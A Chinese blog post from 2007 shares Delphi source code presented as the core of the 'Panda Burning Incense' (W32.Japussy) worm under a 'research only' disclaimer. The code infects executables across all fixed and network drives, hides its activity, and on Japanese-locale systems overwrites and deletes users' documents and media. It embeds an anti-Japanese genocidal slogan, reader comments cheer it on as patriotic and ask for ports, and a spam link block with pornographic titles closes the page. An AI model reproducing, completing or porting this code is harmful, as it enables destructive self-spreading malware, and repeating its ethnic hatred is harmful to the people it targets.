• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            隨筆 - 45  文章 - 129  trackbacks - 0
            <2006年9月>
            272829303112
            3456789
            10111213141516
            17181920212223
            24252627282930
            1234567

            專注于C++ P2P STL GP OpenSource等
            Google

            常用鏈接

            留言簿(10)

            隨筆分類

            隨筆檔案

            相冊

            朋友

            • .NET

            搜索

            •  

            最新評論

            閱讀排行榜

            評論排行榜

            熊貓燒香 - 核心源碼??? Delphi版本
            --------------------------------------------------------------------------------
            僅供研究使用!後果自行負責

            代碼:--------------------------------------------------------------------------------
            程序代碼
            program Japussy;
            uses
            ? Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
            const
            ? HeaderSize = 82432;????????????????? //病毒體的大小
            ? IconOffset = $12EB8;???????????????? //PE文件主圖標的偏移量
            ?
            ? //在我的Delphi5 SP1上面編譯得到的大小,其它版本的Delphi可能不同
            ? //查找2800000020的十六進制字符串可以找到主圖標的偏移量
            ??
            {
            ? HeaderSize = 38912;????????????????? //Upx壓縮過病毒體的大小
            ? IconOffset = $92BC;????????????????? //Upx壓縮過PE文件主圖標的偏移量
            ?
            ? //Upx 1.24W 用法: upx -9 --8086 Japussy.exe
            }
            ? IconSize?? = $2E8;?????????????????? //PE文件主圖標的大小--744字節
            ? IconTail?? = IconOffset + IconSize;? //PE文件主圖標的尾部
            ? ID???????? = $44444444;????????????? //感染標記
            ?
            ? //垃圾碼,以備寫入
            ? Catchword = 'If a race need to be killed out, it must be Yamato. ' +
            ????????????? 'If a country need to be destroyed, it must be Japan! ' +
            ????????????? '*** W32.Japussy.Worm.A ***';
            {$R *.RES}
            function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
            ? stdcall; external 'Kernel32.dll'; //函數聲明
            var
            ? TmpFile: string;
            ? Si:????? STARTUPINFO;
            ? Pi:????? PROCESS_INFORMATION;
            ? IsJap:?? Boolean = False; //日文操作系統標記
            { 判斷是否為Win9x }
            function IsWin9x: Boolean;
            var
            ? Ver: TOSVersionInfo;
            begin
            ? Result := False;
            ? Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
            ? if not GetVersionEx(Ver) then
            ??? Exit;
            ? if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
            ??? Result := True;
            end;
            { 在流之間復制 }
            procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
            ? dStartPos: Integer; Count: Integer);
            var
            ? sCurPos, dCurPos: Integer;
            begin
            ? sCurPos := Src.Position;
            ? dCurPos := Dst.Position;
            ? Src.Seek(sStartPos, 0);
            ? Dst.Seek(dStartPos, 0);
            ? Dst.CopyFrom(Src, Count);
            ? Src.Seek(sCurPos, 0);
            ? Dst.Seek(dCurPos, 0);
            end;
            { 將宿主文件從已感染的PE文件中分離出來,以備使用 }
            procedure ExtractFile(FileName: string);
            var
            ? sStream, dStream: TFileStream;
            begin
            ? try
            ??? sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
            ??? try
            ????? dStream := TFileStream.Create(FileName, fmCreate);
            ????? try
            ??????? sStream.Seek(HeaderSize, 0); //跳過頭部的病毒部分
            ??????? dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
            ????? finally
            ??????? dStream.Free;
            ????? end;
            ??? finally
            ????? sStream.Free;
            ??? end;
            ? except
            ? end;
            end;
            { 填充STARTUPINFO結構 }
            procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
            begin
            ? Si.cb := SizeOf(Si);
            ? Si.lpReserved := nil;
            ? Si.lpDesktop := nil;
            ? Si.lpTitle := nil;
            ? Si.dwFlags := STARTF_USESHOWWINDOW;
            ? Si.wShowWindow := State;
            ? Si.cbReserved2 := 0;
            ? Si.lpReserved2 := nil;
            end;
            { 發帶毒郵件 }
            procedure SendMail;
            begin
            ? //哪位仁兄愿意完成之?
            end;
            { 感染PE文件 }
            procedure InfectOneFile(FileName: string);
            var
            ? HdrStream, SrcStream: TFileStream;
            ? IcoStream, DstStream: TMemoryStream;
            ? iID: LongInt;
            ? aIcon: TIcon;
            ? Infected, IsPE: Boolean;
            ? i: Integer;
            ? Buf: array[0..1] of Char;
            begin
            ? try //出錯則文件正在被使用,退出
            ??? if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己則不感染
            ????? Exit;
            ??? Infected := False;
            ??? IsPE???? := False;
            ??? SrcStream := TFileStream.Create(FileName, fmOpenRead);
            ??? try
            ????? for i := 0 to $108 do //檢查PE文件頭
            ????? begin
            ??????? SrcStream.Seek(i, soFromBeginning);
            ??????? SrcStream.Read(Buf, 2);
            ??????? if (Buf[0] = #80) and (Buf[1] = #69) then //PE標記
            ??????? begin
            ????????? IsPE := True; //是PE文件
            ????????? Break;
            ??????? end;
            ????? end;
            ????? SrcStream.Seek(-4, soFromEnd); //檢查感染標記
            ????? SrcStream.Read(iID, 4);
            ????? if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
            ??????? Infected := True;
            ??? finally
            ????? SrcStream.Free;
            ??? end;
            ??? if Infected or (not IsPE) then //如果感染過了或不是PE文件則退出
            ????? Exit;
            ??? IcoStream := TMemoryStream.Create;
            ??? DstStream := TMemoryStream.Create;
            ??? try
            ????? aIcon := TIcon.Create;
            ????? try
            ??????? //得到被感染文件的主圖標(744字節),存入流
            ??????? aIcon.ReleaseHandle;
            ??????? aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
            ??????? aIcon.SaveToStream(IcoStream);
            ????? finally
            ??????? aIcon.Free;
            ????? end;
            ????? SrcStream := TFileStream.Create(FileName, fmOpenRead);
            ????? //頭文件
            ????? HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
            ????? try
            ??????? //寫入病毒體主圖標之前的數據
            ??????? CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
            ??????? //寫入目前程序的主圖標
            ??????? CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
            ??????? //寫入病毒體主圖標到病毒體尾部之間的數據
            ??????? CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
            ??????? //寫入宿主程序
            ??????? CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
            ??????? //寫入已感染的標記
            ??????? DstStream.Seek(0, 2);
            ??????? iID := $44444444;
            ??????? DstStream.Write(iID, 4);
            ????? finally
            ??????? HdrStream.Free;
            ????? end;
            ??? finally
            ????? SrcStream.Free;
            ????? IcoStream.Free;
            ????? DstStream.SaveToFile(FileName); //替換宿主文件
            ????? DstStream.Free;
            ??? end;
            ? except;
            ? end;
            end;

            { 將目標文件寫入垃圾碼后刪除 }
            procedure SmashFile(FileName: string);
            var
            ? FileHandle: Integer;
            ? i, Size, Mass, Max, Len: Integer;
            begin
            ? try
            ??? SetFileAttributes(PChar(FileName), 0); //去掉只讀屬性
            ??? FileHandle := FileOpen(FileName, fmOpenWrite); //打開文件
            ??? try
            ????? Size := GetFileSize(FileHandle, nil); //文件大小
            ????? i := 0;
            ????? Randomize;
            ????? Max := Random(15); //寫入垃圾碼的隨機次數
            ????? if Max < 5 then
            ??????? Max := 5;
            ????? Mass := Size div Max; //每個間隔塊的大小
            ????? Len := Length(Catchword);
            ????? while i < Max do
            ????? begin
            ??????? FileSeek(FileHandle, i * Mass, 0); //定位
            ??????? //寫入垃圾碼,將文件徹底破壞掉
            ??????? FileWrite(FileHandle, Catchword, Len);
            ??????? Inc(i);
            ????? end;
            ??? finally
            ????? FileClose(FileHandle); //關閉文件
            ??? end;
            ??? DeleteFile(PChar(FileName)); //刪除之
            ? except
            ? end;
            end;
            { 獲得可寫的驅動器列表 }
            function GetDrives: string;
            var
            ? DiskType: Word;
            ? D: Char;
            ? Str: string;
            ? i: Integer;
            begin
            ? for i := 0 to 25 do //遍歷26個字母
            ? begin
            ??? D := Chr(i + 65);
            ??? Str := D + ':';
            ??? DiskType := GetDriveType(PChar(Str));
            ??? //得到本地磁盤和網絡盤
            ??? if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
            ????? Result := Result + D;
            ? end;
            end;
            { 遍歷目錄,感染和摧毀文件 }
            procedure LoopFiles(Path, Mask: string);
            var
            ? i, Count: Integer;
            ? Fn, Ext: string;
            ? SubDir: TStrings;
            ? SearchRec: TSearchRec;
            ? Msg: TMsg;
            ? function IsValidDir(SearchRec: TSearchRec): Integer;
            ? begin
            ??? if (SearchRec.Attr <> 16) and? (SearchRec.Name <> '.') and
            ????? (SearchRec.Name <> '..') then
            ????? Result := 0 //不是目錄
            ??? else if (SearchRec.Attr = 16) and? (SearchRec.Name <> '.') and
            ????? (SearchRec.Name <> '..') then
            ??????? Result := 1 //不是根目錄
            ??? else Result := 2; //是根目錄
            ? end;
            begin
            ? if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
            ? begin
            ??? repeat
            ????? PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //調整消息隊列,避免引起懷疑
            ????? if IsValidDir(SearchRec) = 0 then
            ????? begin
            ??????? Fn := Path + SearchRec.Name;
            ??????? Ext := UpperCase(ExtractFileExt(Fn));
            ??????? if (Ext = '.EXE') or (Ext = '.SCR') then
            ??????? begin
            ????????? InfectOneFile(Fn); //感染可執行文件???????
            ??????? end
            ??????? else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
            ??????? begin
            ????????? //感染HTML和ASP文件,將Base64編碼后的病毒寫入
            ????????? //感染瀏覽此網頁的所有用戶
            ????????? //哪位大兄弟愿意完成之?
            ??????? end
            ??????? else if Ext = '.WAB' then //Outlook地址簿文件
            ??????? begin
            ????????? //獲取Outlook郵件地址
            ??????? end
            ??????? else if Ext = '.ADC' then //Foxmail地址自動完成文件
            ??????? begin
            ????????? //獲取Foxmail郵件地址
            ??????? end
            ??????? else if Ext = 'IND' then //Foxmail地址簿文件
            ??????? begin
            ????????? //獲取Foxmail郵件地址
            ??????? end
            ??????? else
            ??????? begin
            ????????? if IsJap then //是倭文操作系統
            ????????? begin
            ??????????? if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
            ????????????? (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
            ????????????? (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
            ????????????? (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
            ????????????? (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
            ????????????? (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
            ??????????????? SmashFile(Fn); //摧毀文件
            ????????? end;
            ??????? end;
            ????? end;
            ????? //感染或刪除一個文件后睡眠200毫秒,避免CPU占用率過高引起懷疑
            ????? Sleep(200);
            ??? until (FindNext(SearchRec) <> 0);
            ? end;
            ? FindClose(SearchRec);
            ? SubDir := TStringList.Create;
            ? if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
            ? begin
            ??? repeat
            ????? if IsValidDir(SearchRec) = 1 then
            ??????? SubDir.Add(SearchRec.Name);
            ??? until (FindNext(SearchRec) <> 0);
            ??? end;
            ? FindClose(SearchRec);
            ? Count := SubDir.Count - 1;
            ? for i := 0 to Count do
            ??? LoopFiles(Path + SubDir.Strings[i] + '', Mask);
            ? FreeAndNil(SubDir);
            end;
            { 遍歷磁盤上所有的文件 }
            procedure InfectFiles;

            var
            ? DriverList: string;
            ? i, Len: Integer;
            begin
            ? if GetACP = 932 then //日文操作系統
            ??? IsJap := True; //去死吧!
            ? DriverList := GetDrives; //得到可寫的磁盤列表
            ? Len := Length(DriverList);
            ? while True do //死循環
            ? begin
            ??? for i := Len downto 1 do //遍歷每個磁盤驅動器
            ????? LoopFiles(DriverList[i] + ':', '*.*'); //感染之
            ??? SendMail; //發帶毒郵件
            ??? Sleep(1000 * 60 * 5); //睡眠5分鐘
            ? end;
            end;
            { 主程序開始 }
            begin
            ? if IsWin9x then //是Win9x
            ??? RegisterServiceProcess(GetCurrentProcessID, 1) //注冊為服務進程
            ? else //WinNT
            ? begin
            ??? //遠程線程映射到Explorer進程
            ??? //哪位兄臺愿意完成之?
            ? end;
            ? //如果是原始病毒體自己
            ? if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
            ??? InfectFiles //感染和發郵件
            ? else //已寄生于宿主程序上了,開始工作
            ? begin
            ??? TmpFile := ParamStr(0); //創建臨時文件
            ??? Delete(TmpFile, Length(TmpFile) - 4, 4);
            ??? TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一個空格
            ??? ExtractFile(TmpFile); //分離之
            ??? FillStartupInfo(Si, SW_SHOWDEFAULT);
            ??? CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
            ????? 0, nil, '.', Si, Pi); //創建新進程運行之
            ??? InfectFiles; //感染和發郵件
            ? end;
            end.

            posted on 2007-01-26 18:52 CPP&&設計模式小屋 閱讀(13989) 評論(41)  編輯 收藏 引用 所屬分類: Windows Programming

            FeedBack:
            # re: 熊貓燒香 源碼 有興趣的來看看 2007-01-27 10:47 neverkill
            牛的XX的.  回復  更多評論
              
            # re: 熊貓燒香 源碼 有興趣的來看看 2007-01-27 12:16 天下無雙
            倭文操作系統,怎么解釋  回復  更多評論
              
            # re: 熊貓燒香 源碼 有興趣的來看看 2007-01-27 19:37 pengkuny
            樓主能否對程序做一個整體性的分析  回復  更多評論
              
            # re: 熊貓燒香 源碼 有興趣的來看看 2007-01-27 22:45 shenhuafeng
            @天下無雙
            倭文操作系統 就是日文操作系統拉
            這個人還是很愛國的,卡卡~~~~~~~  回復  更多評論
              
            # re: 熊貓燒香 源碼 有興趣的來看看 2007-01-27 22:47 shenhuafeng
            @pengkuny
            等有時間 哪位高手能改成C++版本 那就好了 哈哈~~~~~  回復  更多評論
              
            # re: 熊貓燒香 源碼 有興趣的來看看[未登錄] 2007-01-29 09:09 Michael
            改成C#版本的...  回復  更多評論
              
            # re: 熊貓燒香 源碼 有興趣的來看看 2007-01-31 14:58 cjsteven
            SendMail和遠程縣城映射都沒有寫,估計是法律原因阿  回復  更多評論
              
            # re: 熊貓燒香 源碼 有興趣的來看看 2007-01-31 16:41 CPP&&設計模式小屋
            @cjsteven
            網上都有可供參考的代碼
            我想技術方面實現應該沒什么問題。
            可能包含一些法律以及作者信息方面的東西或者其他原因。不想公開。  回復  更多評論
              
            # re: 熊貓燒香 源碼 有興趣的來看看 2007-01-31 18:44 評論一下
            這個是Delphi模仿版 并不是真正的源代碼 hoho  回復  更多評論
              
            # re: 熊貓燒香 源碼 有興趣的來看看 2007-01-31 20:31 Dain
            熱點關注  回復  更多評論
              
            # re: 熊貓燒香 源碼 有興趣的來看看 2007-02-09 03:39 dzw
            分析得不錯  回復  更多評論
              
            # re: 熊貓燒香 源碼 有興趣的來看看 2007-02-13 17:29 CPP&&設計模式小屋
            這小子被抓了 呵呵  回復  更多評論
              
            # re: 熊貓燒香 源碼 有興趣的來看看 2007-02-14 13:14 哆啦A夢
            原來病毒是這樣的  回復  更多評論
              
            # re: 熊貓燒香 源碼 有興趣的來看看 2007-02-15 17:06 獨七夜游
            厲害!愛國```可惜啊```犯法不能有!
            如作者把它改成只對日文的系統破壞,那就真的很愛國了。  回復  更多評論
              
            # re: 熊貓燒香 源碼 有興趣的來看看 2007-02-16 10:00 天天
            一般的東西,5年前就在網上流傳了!病毒沒什么難做的!  回復  更多評論
              
            # re: 熊貓燒香 源碼 有興趣的來看看 2007-02-17 09:32 CPP&&設計模式小屋
            @天天
            這樣的病毒或者說木馬的難度是不高的。  回復  更多評論
              
            # re: 熊貓燒香 源碼 有興趣的來看看 2007-02-17 22:23 chinasilent
            看了這樣的分析,改寫成C++版本的話應該難度不是很高  回復  更多評論
              
            # re: 熊貓燒香 源碼 有興趣的來看看 2007-02-17 22:26 chinasilent
            但有一點很郁悶,上述代碼中的判斷日文操作系統的語法不可能這么簡單吧,windows98就是win98?不會吧?郁悶~~~~  回復  更多評論
              
            # re: 熊貓燒香 源碼 有興趣的來看看 2007-02-17 22:28 chinasilent
            for i := 0 to $108 do ????????????????  回復  更多評論
              
            # re: 熊貓燒香 源碼 有興趣的來看看 2007-02-18 21:39 路過
            關注  回復  更多評論
              
            # re: 熊貓燒香 源碼 有興趣的來看看 2007-02-19 11:05 edi
            原來病毒就是這樣誕生的,佩服佩服  回復  更多評論
              
            # re: 熊貓燒香 源碼 有興趣的來看看 2007-02-24 12:19 oyjpart
            沒必要寫病毒的說 有什么很大意義么  回復  更多評論
              
            # re: 熊貓燒香 源碼 有興趣的來看看 2007-02-27 11:21 Registry
            這是抄的  回復  更多評論
              
            # re: 熊貓燒香 源碼 有興趣的來看看 2007-03-05 13:53 oldwolf
            抄也要抄個NB的病毒!~大家來呀一起吧.  回復  更多評論
              
            # re: 熊貓燒香 源碼 有興趣的來看看 2007-03-10 12:02 黑客

            很普通的的編寫!!!
            也沒什么
              回復  更多評論
              
            # re: 熊貓燒香 源碼 有興趣的來看看 2007-03-12 23:22 steel
            圖標文件呢,怎么添加  回復  更多評論
              
            # re: 熊貓燒香 源碼 有興趣的來看看 2007-03-13 08:56 CPP&&設計模式小屋
            @steel
            直接替換Res數據段的數據就可以了吧,這個網上搜索一下,應該挺多的。  回復  更多評論
              
            # re: 熊貓燒香 源碼 有興趣的來看看 2007-03-27 12:28 soga
            不全  回復  更多評論
              
            # re: 熊貓燒香 源碼 有興趣的來看看 2007-03-31 20:31 eLeveN
            裝備不一定要精良,在必要時能派的上用場就行.
            代碼不一定要復雜,在計算機里能達到目的就行.
            開源不一定要全部,在技術人的手里能完善就行.
            看帖不一定要回復,在您的道德修養能通過就行.  回復  更多評論
              
            # re: 熊貓燒香 源碼 有興趣的來看看 2007-04-04 18:03 比茄多耳
            其實只要把系統的區域設置為日本,不論何種語言的NT/2K/XP...系統,
            病毒都會認為是日文系統。
              回復  更多評論
              
            # re: 熊貓燒香 源碼 有興趣的來看看 2007-05-25 11:28 袁海
            編譯不過呀 !!!  回復  更多評論
              
            # re: 熊貓燒香 源碼 有興趣的來看看 2007-06-22 19:04 一堆亂瑪
            病毒這個程序本來就不應該寫的麻煩,有時候一個高級的病毒就是用最簡單的代碼完成的,所以大家盡量發散思維就可以寫出同樣優秀的病毒  回復  更多評論
              
            # re: 熊貓燒香 源碼 有興趣的來看看 2007-07-13 19:16 45
            他使用的是什么語言啊  回復  更多評論
              
            # re: 熊貓燒香 源碼 有興趣的來看看 2007-09-14 08:20 螞蟻終結者
            對Delphi不熟悉,飄過。。。  回復  更多評論
              
            # re: 熊貓燒香 源碼 有興趣的來看看 2008-01-04 16:39 核工業
            是真的嗎??????????????  回復  更多評論
              
            # re: 熊貓燒香 源碼 有興趣的來看看 2008-03-14 14:16 無名小卒
            不錯,還挺愛國的投你半票SendMail和遠程縣城映射都沒有寫  回復  更多評論
              
            # re: 熊貓燒香 源碼 有興趣的來看看 2008-03-16 17:53 傾城
            就是日本的機器@天下無雙
              回復  更多評論
              
            # re: 熊貓燒香 源碼 有興趣的來看看 2008-06-07 14:18 coppor
            暈頭,簡體版熊貓  回復  更多評論
              
            # re: 熊貓燒香 源碼 有興趣的來看看 2008-06-13 21:23 SY
            佛曰:穿的在叼,一磚也倒。武功在高,也怕菜刀!!  回復  更多評論
              
            # re: 熊貓燒香 源碼 有興趣的來看看 2008-08-01 16:02 我剛剛有 中了 熊貓燒香了 暈
            垃圾病毒還 變異成木馬靠我 機子與 好了 啊呵呵我 抓幾個玩玩哈呵呵我養這病毒等他變異物品 又發出去啊  回復  更多評論
              
            # re: 熊貓燒香 源碼 有興趣的來看看 2009-05-04 21:05 zw2ky
            GOOD 可以寫到MAC OSX 和LINUX上就好了 主流操作系統都搞一個 黑一把  回復  更多評論
              
            久久人人爽人人爽人人片av高请| 久久综合九色综合久99 | 久久婷婷五月综合97色| 婷婷综合久久中文字幕蜜桃三电影| 色欲综合久久中文字幕网| 久久久青草青青亚洲国产免观| 99久久无码一区人妻| 国产欧美久久久精品影院| 亚洲精品乱码久久久久久久久久久久 | 色噜噜狠狠先锋影音久久| 久久久亚洲精品蜜桃臀| 久久丫忘忧草产品| 91精品久久久久久无码| 97久久婷婷五月综合色d啪蜜芽| 久久99国产精一区二区三区| 亚洲欧美精品一区久久中文字幕| 久久超乳爆乳中文字幕| 中文字幕无码久久精品青草| 99久久国产综合精品网成人影院| 久久精品国产亚洲AV久| 久久伊人中文无码| 99久久精品免费观看国产| 久久久久亚洲AV无码专区体验| 久久国产一片免费观看| 国内精品久久久久| 久久亚洲欧美国产精品| 午夜久久久久久禁播电影| 国内精品伊人久久久影院| 久久久久久国产a免费观看不卡| 国产精品久久久久久久久免费| 亚洲精品国产字幕久久不卡| 久久国产AVJUST麻豆| 久久笫一福利免费导航| 亚洲欧美国产精品专区久久 | 成人久久综合网| 精品久久香蕉国产线看观看亚洲 | 99久久www免费人成精品| 久久久久久综合一区中文字幕| 久久国产精品无码HDAV | 亚洲嫩草影院久久精品| 久久精品国产影库免费看|